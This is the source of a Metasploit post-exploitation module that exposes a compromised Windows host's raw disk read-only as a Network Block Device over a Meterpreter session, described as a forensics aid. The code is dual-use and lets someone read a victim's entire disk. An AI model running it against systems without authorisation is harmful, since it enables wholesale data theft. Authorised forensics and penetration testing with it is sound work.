Path: blob/master/modules/post/windows/manage/nbd_server.rb
19516 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45#6# Maps remote disks and logical volumes to a local Network Block Device7# server. Allows for forensic tools to be executed on the remote disk8# directly.9#10# R. Wesley McGrew [email protected]11# http://mcgrewsecurity.com12# Mississippi State University National Forensics Training Center13# http://msu-nftc.org1415class MetasploitModule < Msf::Post1617def initialize(info = {})18super(19update_info(20info,21'Name' => 'Windows Manage Local NBD Server for Remote Disks',22'Description' => %q{23Maps remote disks and logical volumes to a local Network Block24Device server. Allows for forensic tools to be executed on the remote disk directly.25},26'License' => MSF_LICENSE,27'Platform' => ['win'],28'SessionTypes' => ['meterpreter'],29'Author' => ['Wesley McGrew <wesley[at]mcgrewsecurity.com>'],30'Compat' => {31'Meterpreter' => {32'Commands' => %w[33stdapi_railgun_api34]35}36},37'Notes' => {38'Stability' => [CRASH_SAFE],39'SideEffects' => [],40'Reliability' => []41}42)43)44register_options(45[46OptString.new('DEVICE', [true, 'Device to map (use enum_drives for possible names)', nil]),47OptString.new('NBDIP', [false, 'IP address for NBD server', '0.0.0.0']),48OptInt.new('NBDPORT', [false, 'TCP port for NBD server', 10005]),49]50)51end5253def run54ip_addr = datastore['NBDIP']55port = datastore['NBDPORT']56devname = datastore['DEVICE']5758fsctl_allow_extended_dasd_io = 0x0009008359ioctl_disk_get_drive_geometry_ex = 0x000700A06061r = client.railgun.kernel32.CreateFileA(62devname, 'GENERIC_READ',630x3, nil, 'OPEN_EXISTING', 'FILE_ATTRIBUTE_READONLY', 064)65handle = r['return']66client.railgun.kernel32.DeviceIoControl(handle, fsctl_allow_extended_dasd_io, nil, 0, 0, 0, 4, nil)67ioctl = client.railgun.kernel32.DeviceIoControl(68handle, ioctl_disk_get_drive_geometry_ex,69'', 0, 200, 200, 4, ''70)71if ioctl['GetLastError'] == 672ioctl = client.railgun.kernel32.DeviceIoControl(73handle, ioctl_disk_get_drive_geometry_ex,74'', 0, 200, 200, 4, ''75)76end77geometry = ioctl['lpOutBuffer']78disk_size = geometry[24, 31].unpack('Q')[0]7980socket = Rex::Socket::TcpServer.create({ 'LocalHost' => ip_addr, 'LocalPort' => port })81print_status("Listening on #{ip_addr}:#{port}")82print_status("Serving #{devname} (#{disk_size} bytes)")83rsock = socket.accept84print_status('Accepted a connection')8586# Negotiation87rsock.put('NBDMAGIC')88rsock.put("\x00\x00\x42\x02\x81\x86\x12\x53")8990rsock.put([disk_size].pack('Q').reverse)91rsock.put("\x00\x00\x00\x03") # Read-only92rsock.put("\x00" * 124)93print_line('Sent negotiation')9495loop do96request = rsock.read(28)9798unless request99print_error('No data received')100break101end102103magic, request, nbd_handle, offset_n, length = request.unpack('NNa8a8N')104105if magic != 0x25609513106print_error('Wrong magic number')107break108end109if request == 2110break111end112113if request == 1114print_error('Attempted write on a read-only nbd')115break116end117next unless request == 0118119client.railgun.kernel32.SetFilePointer(handle, offset_n[4, 7].unpack('N')[0],120offset_n[0, 4].unpack('N')[0], 0)121rsock.put("gDf\x98\x00\x00\x00\x00")122rsock.put(nbd_handle)123data = client.railgun.kernel32.ReadFile(handle, length, length, 4, nil)['lpBuffer']124rsock.put(data)125end126127print_status('Closing')128rsock.close129socket.close130131client.railgun.kernel32.CloseHandle(handle)132end133end134135136